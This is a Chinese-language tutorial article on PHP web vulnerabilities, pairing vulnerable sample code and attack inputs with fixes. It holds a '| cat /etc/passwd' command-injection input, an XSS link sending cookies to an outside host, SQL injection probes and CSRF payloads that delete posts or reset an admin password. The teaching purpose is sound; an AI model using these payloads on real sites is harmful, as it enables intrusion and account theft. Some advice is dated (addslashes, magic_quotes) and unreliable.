溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

PHP漏洞是什么

發(fā)布時(shí)間:2021-05-31 13:45:48 來源:億速云 閱讀:127 作者:小新 欄目:編程語言

這篇文章主要介紹PHP漏洞是什么,文中介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們一定要看完!

  • 針對PHP的網(wǎng)站主要存在下面幾種攻擊方式:
    命令注入(Command Injection)
    eval注入(Eval Injection)
    客戶端腳本攻擊(Script Insertion)
    跨網(wǎng)站腳本攻擊(Cross Site Scripting, XSS)、SQL注入攻擊(SQL injection)
    跨網(wǎng)站請求偽造攻擊(Cross Site Request Forgeries, CSRF)
    Session 會(huì)話劫持(Session Hijacking)
    Session 固定攻擊(Session Fixation)
    HTTP響應(yīng)拆分攻擊(HTTP Response Splitting)
    文件上傳漏洞(File Upload Attack)
    目錄穿越漏洞(Directory Traversal)
    遠(yuǎn)程文件包含攻擊(Remote Inclusion)
    動(dòng)態(tài)函數(shù)注入攻擊(Dynamic Variable Evaluation)
    URL攻擊(URL attack)
    表單提交欺騙攻擊(Spoofed Form Submissions)
    HTTP請求欺騙攻擊(Spoofed HTTP Requests)

    命令注入攻擊
    PHP中可以使用下列5個(gè)函數(shù)來執(zhí)行外部的應(yīng)用程序或函數(shù)
    system、exec、passthru、shell_exec、“(與shell_exec功能相同)
    函數(shù)原型
    string system(string command, int &return_var)
    command 要執(zhí)行的命令
    return_var 存放執(zhí)行命令的執(zhí)行后的狀態(tài)值
    string exec (string command, array &output, int &return_var)
    command 要執(zhí)行的命令
    output 獲得執(zhí)行命令輸出的每一行字符串
    return_var 存放執(zhí)行命令后的狀態(tài)值
    void passthru (string command, int &return_var)
    command 要執(zhí)行的命令
    return_var 存放執(zhí)行命令后的狀態(tài)值
    string shell_exec (string command)
    command 要執(zhí)行的命令

    漏洞實(shí)例
    例1:

//ex1.php
<?php
$dir = $_GET["dir"];
if (isset($dir))
{
        echo "<pre>";
        system("ls -al ".$dir);
        echo "</pre>";
}
?>

我們提交http://www.sectop.com/ex1.php?dir=| cat /etc/passwd
提交以后,命令變成了 system("ls -al | cat /etc/passwd");

PHP漏洞是什么

eval注入攻擊
eval函數(shù)將輸入的字符串參數(shù)當(dāng)作PHP程序代碼來執(zhí)行
函數(shù)原型:

mixed eval(string code_str) //eval注入一般發(fā)生在攻擊者能控制輸入的字符串的時(shí)候
//ex2.php
<?php
$var = "var";
if (isset($_GET["arg"]))
{
        $arg = $_GET["arg"];
        eval("\$var = $arg;");
        echo "\$var =".$var;
}
?>


當(dāng)我們提交 http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就產(chǎn)生了

動(dòng)態(tài)函數(shù)

<?php
func A()
{
        dosomething();
}
func B()
{
        dosomething();
}
if (isset($_GET["func"]))
{
        $myfunc = $_GET["func"];
        echo $myfunc();
}
?>


程序員原意是想動(dòng)態(tài)調(diào)用A和B函數(shù),那我們提交http://www.sectop.com/ex.php?func=phpinfo 漏洞產(chǎn)生

  • 防范方法
    盡量不要執(zhí)行外部命令
    使用自定義函數(shù)或函數(shù)庫來替代外部命令的功能
    使用escapeshellarg函數(shù)來處理命令參數(shù)
    使用safe_mode_exec_dir指定可執(zhí)行文件的路徑
    esacpeshellarg函數(shù)會(huì)將任何引起參數(shù)或命令結(jié)束的字符轉(zhuǎn)義,單引號(hào)“'”,替換成“\'”,雙引號(hào)“"”,替換成“\"”,分號(hào)“;”替換成“\;”
    用safe_mode_exec_dir指定可執(zhí)行文件的路徑,可以把會(huì)使用的命令提前放入此路徑內(nèi)
    safe_mode = On
    safe_mode_exec_di r= /usr/local/php/bin/

客戶端腳本植入

  • 客戶端腳本植入(Script Insertion),是指將可以執(zhí)行的腳本插入到表單、圖片、動(dòng)畫或超鏈接文字等對象內(nèi)。當(dāng)用戶打開這些對象后,攻擊者所植入的腳本就會(huì)被執(zhí)行,進(jìn)而開始攻擊。
    可以被用作腳本植入的HTML標(biāo)簽一般包括以下幾種:
    <script>標(biāo)簽標(biāo)記的javascript和vbscript等頁面腳本程序。在<script>標(biāo)簽內(nèi)可以指定js程序代碼,也可以在src屬性內(nèi)指定js文件的URL路徑
    <object>標(biāo)簽標(biāo)記的對象。這些對象是java applet、多媒體文件和ActiveX控件等。通常在data屬性內(nèi)指定對象的URL路徑
    <embed>標(biāo)簽標(biāo)記的對象。這些對象是多媒體文件,例如:swf文件。通常在src屬性內(nèi)指定對象的URL路徑
    <applet>標(biāo)簽標(biāo)記的對象。這些對象是java applet,通常在codebase屬性內(nèi)指定對象的URL路徑
    <form>標(biāo)簽標(biāo)記的對象。通常在action屬性內(nèi)指定要處理表單數(shù)據(jù)的web應(yīng)用程序的URL路徑

客戶端腳本植入的攻擊步驟
1、攻擊者注冊普通用戶后登陸網(wǎng)站
2、打開留言頁面,插入攻擊的js代碼
3、其他用戶登錄網(wǎng)站(包括管理員),瀏覽此留言的內(nèi)容
4、隱藏在留言內(nèi)容中的js代碼被執(zhí)行,攻擊成功

PHP漏洞是什么

實(shí)例
數(shù)據(jù)庫
CREATE TABLE `postmessage` (
 `id` int(11) NOT NULL auto_increment,
 `subject` varchar(60) NOT NULL default ”,
 `name` varchar(40) NOT NULL default ”,
 `email` varchar(25) NOT NULL default ”,
 `question` mediumtext NOT NULL,
 `postdate` datetime NOT NULL default '0000-00-00 00:00:00′,
 PRIMARY KEY  (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=gb2312 COMMENT='使用者的留言' AUTO_INCREMENT=69 ;
//add.php 插入留言
//list.php 留言列表
//show.php 顯示留言

提交下圖的留言

PHP漏洞是什么

瀏覽此留言的時(shí)候會(huì)執(zhí)行js腳本

插入 <script>while(1){windows.open();}</script> 無限彈框
插入<script>location.href="http://www.sectop.com";</script> 跳轉(zhuǎn)釣魚頁面
或者使用其他自行構(gòu)造的js代碼進(jìn)行攻擊

防范的方法
一般使用htmlspecialchars函數(shù)來將特殊字符轉(zhuǎn)換成HTML編碼
函數(shù)原型
string htmlspecialchars (string string, int quote_style, string charset)
string 是要編碼的字符串
quote_style 可選,值可為ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,默認(rèn)值ENT_COMPAT,表示只轉(zhuǎn)換雙引號(hào)不轉(zhuǎn)換單引號(hào)。ENT_QUOTES,表示雙引號(hào)和單引號(hào)都要轉(zhuǎn)換。ENT_NOQUOTES,表示雙引號(hào)和單引號(hào)都不轉(zhuǎn)換
charset 可選,表示使用的字符集
函數(shù)會(huì)將下列特殊字符轉(zhuǎn)換成html編碼:
& —-> &
" —-> "
‘ —-> ‘
< —-> <
> —-> >
把show.php的第98行改成
<?php echo htmlspecialchars(nl2br($row['question']), ENT_QUOTES); ?>
然后再查看插入js的漏洞頁面
PHP漏洞是什么

XSS跨站腳本攻擊

XSS(Cross Site Scripting),意為跨網(wǎng)站腳本攻擊,為了和樣式表css(Cascading Style Sheet)區(qū)別,縮寫為XSS
跨站腳本主要被攻擊者利用來讀取網(wǎng)站用戶的cookies或者其他個(gè)人數(shù)據(jù),一旦攻擊者得到這些數(shù)據(jù),那么他就可以偽裝成此用戶來登錄網(wǎng)站,獲得此用戶的權(quán)限。
跨站腳本攻擊的一般步驟:
1、攻擊者以某種方式發(fā)送xss的http鏈接給目標(biāo)用戶
2、目標(biāo)用戶登錄此網(wǎng)站,在登陸期間打開了攻擊者發(fā)送的xss鏈接
3、網(wǎng)站執(zhí)行了此xss攻擊腳本
4、目標(biāo)用戶頁面跳轉(zhuǎn)到攻擊者的網(wǎng)站,攻擊者取得了目標(biāo)用戶的信息
5、攻擊者使用目標(biāo)用戶的信息登錄網(wǎng)站,完成攻擊

當(dāng)有存在跨站漏洞的程序出現(xiàn)的時(shí)候,攻擊者可以構(gòu)造類似 http://www.sectop.com/search.php?key=<script>document.location='http://www.hack.com/getcookie.php?cookie='+document.cookie;</script> ,誘騙用戶點(diǎn)擊后,可以獲取用戶cookies值
防范方法:
利用htmlspecialchars函數(shù)將特殊字符轉(zhuǎn)換成HTML編碼
函數(shù)原型
string htmlspecialchars (string string, int quote_style, string charset)
       string 是要編碼的字符串
       quote_style 可選,值可為ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,默認(rèn)值ENT_COMPAT,表示只轉(zhuǎn)換雙引號(hào)不轉(zhuǎn)換單引號(hào)。ENT_QUOTES,表示雙引號(hào)和單引號(hào)都要轉(zhuǎn)換。ENT_NOQUOTES,表示雙引號(hào)和單引號(hào)都不轉(zhuǎn)換
       charset 可選,表示使用的字符集
函數(shù)會(huì)將下列特殊字符轉(zhuǎn)換成html編碼:
& —-> &
" —-> "
‘ —-> ‘
< —-> <
> —-> >

$_SERVER["PHP_SELF"]變量的跨站
在某個(gè)表單中,如果提交參數(shù)給自己,會(huì)用這樣的語句
<form action="<?php echo $_SERVER["PHP_SELF"];?>" method="POST">
……
</form>
$_SERVER["PHP_SELF"]變量的值為當(dāng)前頁面名稱
例:
http://www.sectop.com/get.php
get.php中上述的表單
那么我們提交
http://www.sectop.com/get.php/"><script>alert(document.cookie);</script>
那么表單變成
<form action="get.php/"><script>alert(document.cookie);</script>" method="POST">
跨站腳本被插進(jìn)去了
防御方法還是使用htmlspecialchars過濾輸出的變量,或者提交給自身文件的表單使用
<form action="" method="post">
這樣直接避免了$_SERVER["PHP_SELF"]變量被跨站

SQL注入攻擊

SQL注入攻擊(SQL Injection),是攻擊者在表單中提交精心構(gòu)造的sql語句,改動(dòng)原來的sql語句,如果web程序沒有對提交的數(shù)據(jù)經(jīng)過檢查,那么就會(huì)造成sql注入攻擊。

  SQL注入攻擊的一般步驟:

  1、攻擊者訪問有SQL注入漏洞的站點(diǎn),尋找注入點(diǎn)

  2、攻擊者構(gòu)造注入語句,注入語句和程序中的SQL語句結(jié)合生成新的sql語句

  3、新的sql語句被提交到數(shù)據(jù)庫中執(zhí)行 處理

  4、數(shù)據(jù)庫執(zhí)行了新的SQL語句,引發(fā)SQL注入攻擊

PHP漏洞是什么

 實(shí)例

  數(shù)據(jù)庫

 CREATE TABLE `postmessage` (
  `id` int(11) NOT NULL auto_increment,
  `subject` varchar(60) NOT NULL default ”,
  `name` varchar(40) NOT NULL default ”,
  `email` varchar(25) NOT NULL default ”,
  `question` mediumtext NOT NULL,
  `postdate` datetime NOT NULL default '0000-00-00 00:00:00′,
  PRIMARY KEY  (`id`)
  ) ENGINE=MyISAM  DEFAULT CHARSET=gb2312 COMMENT='運(yùn)用者的留言' AUTO_INCREMENT=69 ;
  grant all privileges on ch4.* to ‘sectop'@localhost identified by '123456′;
  //add.php 插入留言
  //list.php 留言列表
  //show.php 顯示留言

  頁面 http://www.netsos.com.cn/show.php?id=71 可能存在注入點(diǎn),我們來測試

  http://www.netsos.com.cn/show.php?id=71 and 1=1

提交

  一次查詢到記錄,一次沒有,我們來看看源碼

 //show.php 12-15行
  // 執(zhí)行mysql查詢語句
  $query = "select * from postmessage where id = ".$_GET["id"];
  $result = mysql_query($query)
  or die("執(zhí)行ySQL查詢語句失?。?quot; . mysql_error());

  參數(shù)id傳遞進(jìn)來后,和前面的字符串結(jié)合的sql語句放入數(shù)據(jù)庫執(zhí)行 查詢

  提交 and 1=1,語句變成select * from postmessage where id = 71 and 1=1 這語句前值后值都為真,and以后也為真,返回查詢到的數(shù)據(jù)

  提交 and 1=2,語句變成select * from postmessage where id = 71 and 1=2 這語句前值為真,后值為假,and以后為假,查詢不到任何數(shù)據(jù)

  正常的SQL查詢,經(jīng)過我們構(gòu)造的語句之后,形成了SQL注入攻擊。通過這個(gè)注入點(diǎn),我們還可以進(jìn)一步拿到權(quán)限,比如說運(yùn)用 union讀取管理密碼,讀取數(shù)據(jù)庫信息,或者用mysql的load_file,into outfile等函數(shù)進(jìn)一步滲透。

防范方法

  整型參數(shù):

  運(yùn)用 intval函數(shù)將數(shù)據(jù)轉(zhuǎn)換成整數(shù)

  函數(shù)原型

  int intval(mixed var, int base)

          var是要轉(zhuǎn)換成整形的變量

          base,可選,是基礎(chǔ)數(shù),默認(rèn)是10

  浮點(diǎn)型參數(shù):

  運(yùn)用 floatval或doubleval函數(shù)分別轉(zhuǎn)換單精度和雙精度浮點(diǎn)型參數(shù)

  函數(shù)原型

  int floatval(mixed var)

          var是要轉(zhuǎn)換的變量

     int doubleval(mixed var)

          var是要轉(zhuǎn)換的變量

  字符型參數(shù):

  運(yùn)用 addslashes函數(shù)來將單引號(hào)“'”轉(zhuǎn)換成“\'”,雙引號(hào)“"”轉(zhuǎn)換成“\"”,反斜杠“\”轉(zhuǎn)換成“\\”,NULL字符加上反斜杠“\”

  函數(shù)原型

  string addslashes (string str)
          str是要檢查的字符串
  那么剛才出現(xiàn)的代碼漏洞,我們可以這樣修補(bǔ)
  // 執(zhí)行mysql查詢語句
  $query = "select * from postmessage where id = ".intval($_GET["id"]);
  $result = mysql_query($query)
or die("執(zhí)行ySQL查詢語句失敗:" . mysql_error());
 
  如果是字符型,先判斷magic_quotes_gpc能無法 為On,當(dāng)不為On的時(shí)候運(yùn)用 addslashes轉(zhuǎn)義特殊字符
  if(get_magic_quotes_gpc())
  {
  $var = $_GET["var"];
  }
  else
  {
  $var = addslashes($_GET["var"]);
  }

再次測試,漏洞已經(jīng)修補(bǔ)

垮網(wǎng)站偽造請求

CSRF(Cross Site Request Forgeries),意為跨網(wǎng)站請求偽造,也有寫為XSRF。攻擊者偽造目標(biāo)用戶的HTTP請求,然后此請求發(fā)送到有CSRF漏洞的網(wǎng)站,網(wǎng)站執(zhí)行此請求后,引發(fā)跨站請求偽造攻擊。攻擊者利用隱蔽的HTTP連接,讓目標(biāo)用戶在不注意的情況下單擊這個(gè)鏈接,由于是用戶自己點(diǎn)擊的,而他又是合法用戶擁有合法權(quán)限,所以目標(biāo)用戶能夠在網(wǎng)站內(nèi)執(zhí)行特定的HTTP鏈接,從而達(dá)到攻擊者的目的。
例如:某個(gè)購物網(wǎng)站購買商品時(shí),采用http://www.shop.com/buy.php?item=watch&num=1,item參數(shù)確定要購買什么物品,num參數(shù)確定要購買數(shù)量,如果攻擊者以隱藏的方式發(fā)送給目標(biāo)用戶鏈接
<img src="http://www.shop.com/buy.php?item=watch&num=1000"/>,那么如果目標(biāo)用戶不小心訪問以后,購買的數(shù)量就成了1000個(gè)

實(shí)例
隨緣網(wǎng)絡(luò)PHP留言板V1.0

任意刪除留言

//delbook.php 此頁面用于刪除留言
<?php
include_once("dlyz.php");    //dlyz.php用戶驗(yàn)證權(quán)限,當(dāng)權(quán)限是admin的時(shí)候方可刪除留言
include_once("../conn.php");
$del=$_GET["del"];
$id=$_GET["id"];
if ($del=="data")
{
$ID_Dele= implode(",",$_POST['adid']);
$sql="delete from book where id in (".$ID_Dele.")";
mysql_query($sql);
}
else
{
$sql="delete from book where id=".$id; //傳遞要?jiǎng)h除的留言ID
mysql_query($sql);
}
mysql_close($conn);
echo "<script language='javascript'>"; 
echo "alert(‘刪除成功!');";
echo " location='book.php';"; 
echo "</script>";
?>


當(dāng)我們具有admin權(quán)限,提交http://localhost/manage/delbook.php?id=2 時(shí),就會(huì)刪除id為2的留言
利用方法:
我們使用普通用戶留言(源代碼方式),內(nèi)容為

<img src="delbook.php?id=2" />
<img src="delbook.php?id=3" />
<img src="delbook.php?id=4" />
<img src="delbook.php?id=5" />


插入4張圖片鏈接分別刪除4個(gè)id留言,然后我們返回首頁瀏覽看,沒有什么變化。。圖片顯示不了
現(xiàn)在我們再用管理員賬號(hào)登陸后,來刷新首頁,會(huì)發(fā)現(xiàn)留言就剩一條,其他在圖片鏈接中指定的ID號(hào)的留言,全部都被刪除。
攻擊者在留言中插入隱藏的圖片鏈接,此鏈接具有刪除留言的作用,而攻擊者自己訪問這些圖片鏈接的時(shí)候,是不具有權(quán)限的,所以看不到任何效果,但是當(dāng)管理員登陸后,查看此留言,就會(huì)執(zhí)行隱藏的鏈接,而他的權(quán)限又是足夠大的,從而這些留言就被刪除了
修改管理員密碼

//pass.php
if($_GET["act"])
{
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."<br/>設(shè)計(jì)制作:<a href=http://www.115cn.cn>廈門隨緣網(wǎng)絡(luò)科技</a>";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set username='".$username."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
else
{
$sql="update gly set username='".$username."',password='".$password."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language='javascript'>"; 
echo "alert(‘修改成功!');";
echo " location='pass.php';"; 
echo "</script>";
}


這個(gè)文件用于修改管理密碼和網(wǎng)站設(shè)置的一些信息,我們可以直接構(gòu)造如下表單:

<body>
<form action="http://localhost/manage/pass.php?act=xg" method="post" name="form1" id="form1">
<input type="radio" value="1"  name="sh">
<input type="radio" name="sh" checked value="0"> 
<input type="text" name="username" value="root">
<input type="password" name="password" value="root"> 
<input type="text"  name="title"  value="隨緣網(wǎng)絡(luò)PHP留言板V1.0(帶審核功能)" >
<textarea  name="gg"  rows="6" cols="80" >歡迎您
安裝
使用隨緣網(wǎng)絡(luò)PHP留言板V1.0(帶審核功能)!</textarea>
<textarea  name="copyright"  rows="6" cols="80" >隨緣網(wǎng)絡(luò)PHP留言本V1.0  版權(quán)所有:廈門隨緣網(wǎng)絡(luò)科技 2005-2009<br/>承接網(wǎng)站建設(shè)及
系統(tǒng)
定制 提供優(yōu)惠主機(jī)域名</textarea>
</form>
</body>


存為attack.html,放到自己網(wǎng)站上http://www.sectop.com/attack.html,此頁面訪問后會(huì)自動(dòng)向目標(biāo)程序的pass.php提交參數(shù),用戶名修改為root,密碼修改為root,然后我們?nèi)チ粞园灏l(fā)一條留言,隱藏這個(gè)鏈接,管理訪問以后,他的用戶名和密碼全部修改成了root

防范方法
防范CSRF要比防范其他攻擊更加困難,因?yàn)镃SRF的HTTP請求雖然是攻擊者偽造的,但是卻是由目標(biāo)用戶發(fā)出的,一般常見的防范方法有下面幾種:
1、檢查網(wǎng)頁的來源
2、檢查內(nèi)置的隱藏變量
3、使用POST,不要使用GET
檢查網(wǎng)頁來源
在//pass.php頭部加入以下紅色字體代碼,驗(yàn)證數(shù)據(jù)提交

if($_GET["act"])
{
if(isset($_SERVER["HTTP_REFERER"]))
{
        $serverhost = $_SERVER["SERVER_NAME"];
        $strurl   = str_replace("http://","",$_SERVER["HTTP_REFERER"]);  
        $strdomain = explode("/",$strurl);           
        $sourcehost    = $strdomain[0];              
        if(strncmp($sourcehost, $serverhost, strlen($serverhost)))
        {
                unset($_POST);
                echo "<script language='javascript'>"; 
                echo "alert(‘?dāng)?shù)據(jù)來源異常!');";
      &
nbsp;         echo " location='index.php';"; 
                echo "</script>";
        }
}
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."<br/>設(shè)計(jì)制作:<a href=http://www.115cn.cn>廈門隨緣網(wǎng)絡(luò)科技</a>";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set username='".$username."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
else
{
$sql="update gly set username='".$username."',password='".$password."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language='javascript'>"; 
echo "alert(‘修改成功!');";
echo " location='pass.php';"; 
echo "</script>";
}


檢查內(nèi)置隱藏變量
我們在表單中內(nèi)置一個(gè)隱藏變量和一個(gè)session變量,然后檢查這個(gè)隱藏變量和session變量是否相等,以此來判斷是否同一個(gè)網(wǎng)頁所調(diào)用

<?phpinclude_once("dlyz.php");include_once("../conn.php");if($_GET["act"]){if (!isset($_SESSION["post_id"])){         // 生成唯一的ID,并使用MD5來加密         $post_id = md5(uniqid(rand(), true));         // 創(chuàng)建Session變量         $_SESSION["post_id"] = $post_id;}// 檢查是否相等if (isset($_SESSION["post_id"])){         // 不相等         if ($_SESSION["post_id"] != $_POST["post_id"])         {                  // 清除POST變量                  unset($_POST);                  echo "<script language='javascript'>";                   echo "alert(‘?dāng)?shù)據(jù)來源異常!');";                  echo " location='index.php';";                           echo "</script>";         }}
……
    <input type="reset" name="Submit2" value="重  置"><input type="hidden" name="post_id" value="<?php echo $_SESSION["post_id"];?>"></td></tr>  </table></form><?php } mysql_close($conn);?></body></html>


使用POST,不要使用GET
傳遞表單字段時(shí),一定要是用POST,不要使用GET,處理變量也不要直接使用$_REQUEST

http響應(yīng)拆分

HTTP請求的格式

1)請求信息:例如“Get /index.php HTTP/1.1”,請求index.php文件

2)表頭:例如“Host: localhost”,表示服務(wù)器地址

3)空白行

4)信息正文

“請求信息”和“表頭”都必須使用換行字符(CRLF)來結(jié)尾,空白行只能包含換行符,不可以有其他空格符。

下面例子發(fā)送HTTP請求給服務(wù)器www.yhsafe.com

GET /index.php HTTP/1.1↙        //請求信息

Host:www.yhsafe.com↙      //表頭

↙                                                     //空格行

↙符號(hào)表示回車鍵,在空白行之后還要在按一個(gè)空格才會(huì)發(fā)送HTTP請求,HTTP請求的表頭中只有Host表頭是必要的餓,其余的HTTP表頭則是根據(jù)HTTP請求的內(nèi)容而定。

HTTP請求的方法

1)GET:請求響應(yīng)

2)HEAD:與GET相同的響應(yīng),只要求響應(yīng)表頭

3)POST:發(fā)送數(shù)據(jù)給服務(wù)器處理,數(shù)據(jù)包含在HTTP信息正文中

4)PUT:上傳文件

5)DELETE:刪除文件

6)TRACE:追蹤收到的請求

7)OPTIONS:返回服務(wù)器所支持的HTTP請求的方法

8)CONNECT:將HTTP請求的連接轉(zhuǎn)換成透明的TCP/IP通道

HTTP響應(yīng)的格式

服務(wù)器在處理完客戶端所提出的HTTP請求后,會(huì)發(fā)送下列響應(yīng)。

1)第一行是狀態(tài)碼

2)第二行開始是其他信息

狀態(tài)碼包含一個(gè)標(biāo)識(shí)狀態(tài)的數(shù)字和一個(gè)描述狀態(tài)的單詞。例如:

HTTP/1.1 200 OK

200是標(biāo)識(shí)狀態(tài)的是數(shù)字,OK則是描述狀態(tài)的單詞,這個(gè)狀態(tài)碼標(biāo)識(shí)請求成功。

HTTP請求和響應(yīng)的例子

打開cmd輸入telnet,輸入open www.00aq.com 80

打開連接后輸入

GET /index.php HTTP/1.1↙

Host:www.00aq.com↙

使用PHP來發(fā)送HTTP請求

header函數(shù)可以用來發(fā)送HTTP請求和響應(yīng)的表頭

函數(shù)原型

void header(string string [, bool replace [, int http_response_code]])

以上是“PHP漏洞是什么”這篇文章的所有內(nèi)容,感謝各位的閱讀!希望分享的內(nèi)容對大家有幫助,更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

php
AI